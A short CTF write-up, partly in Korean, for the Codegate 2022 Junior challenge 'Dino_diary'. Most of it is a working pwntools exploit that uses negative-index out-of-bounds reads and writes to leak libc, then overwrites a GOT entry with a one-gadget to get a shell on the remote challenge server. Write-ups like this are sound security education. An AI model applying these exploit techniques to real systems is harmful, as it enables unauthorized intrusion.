[CTF write up] Codegate CTF 2022 Junior - Dino_diary : Simple Out Of Bound

2022. 2. 27. 17:49CTF write up

from pwn import *

#p = process('Dino_diary')
p = remote('52.78.171.46',8080)

p.sendlineafter(b':',b'3')
p.sendlineafter(b':',b'-28')

p.recvuntil(b'comment number: ')
lic1 = p.recvuntil(b'\n')
lic1 = lic1[16:len(lic1)-1]
print(lic1)

p.recvuntil(b'name: ')
lic2 = p.recvuntil(b'\x7f')
print(lic2)

stdout = u64(p32(int(lic1)) + lic2 + b'\x00\x00')
print(hex(stdout))
oneshot = stdout - 0x39d210 - 0x4f550 + 0x10a41c

p.sendlineafter(b':',b'2')
p.sendlineafter(b':',b'-36')
p.sendlineafter(b':',b'a'*6 + p64(oneshot))


p.interactive()

 

다이너리를 쓰거나 볼 수 있는 바이너리다. 다이너리를 입력받는 함수와 출력하는 함수에서 모두 OBB가 발생한다. 이를 이용해 임의의 주소 읽기와 임의의 주소 쓰기를 할 수 있게 된다. GOT 영역에 있는 함수 하나를 onshot 가젯으로 바꿔주면 풀린다.

 

때에 따라서 libc leak을 할때 음수가 나오는 경우도 있으니 익스에 성공할때까지 여러번 해줘야한다.